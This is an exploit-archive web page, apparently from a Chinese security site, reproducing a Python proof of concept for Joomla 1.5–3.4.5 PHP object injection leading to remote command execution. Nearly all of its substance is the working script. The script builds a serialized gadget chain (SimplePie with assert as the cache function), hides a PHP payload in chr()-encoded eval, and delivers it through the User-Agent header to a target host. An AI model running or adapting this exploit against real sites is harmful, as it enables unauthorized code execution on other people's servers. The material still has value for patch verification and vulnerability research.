首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Joomla 1.5 - 3.4.5 - Object Injection Remote Command Execution
来源:http://www.sec-1.com/ 作者:Sec-1 发布时间:2015-12-16  
'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
  
import requests #  easy_install requests
  
def get_url(url, user_agent):
  
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)   
    return response
    
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
  
    return encoded[:-1]
  
  
def generate_payload(php_payload):
  
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
  
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)   
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
  
    return exploit_template
  
  
  
pl = generate_payload("system('touch /tmp/fx');")
  
print get_url("http://172.31.6.242/", pl)
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ManageEngine Desktop Central 9
·IBM Tivoli Storage Manager Fas
·Jenkins CLI RMI Java Deseriali
·IBM Tivoli Storage Manager Fas
·Siemens Simatic S7 1200 CPU Co
·IBM Tivoli Storage Manager Fas
·Microsoft IE 11 MSHTML!CObject
·Pinger Remote Code Execution
·Legend Perl IRC Bot Remote Cod
·Easy File Sharing FTP Server 3
·Xdh / LinuxNet Perlbot / fBot
·Apache 2.4.17 - Denial of Serv
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved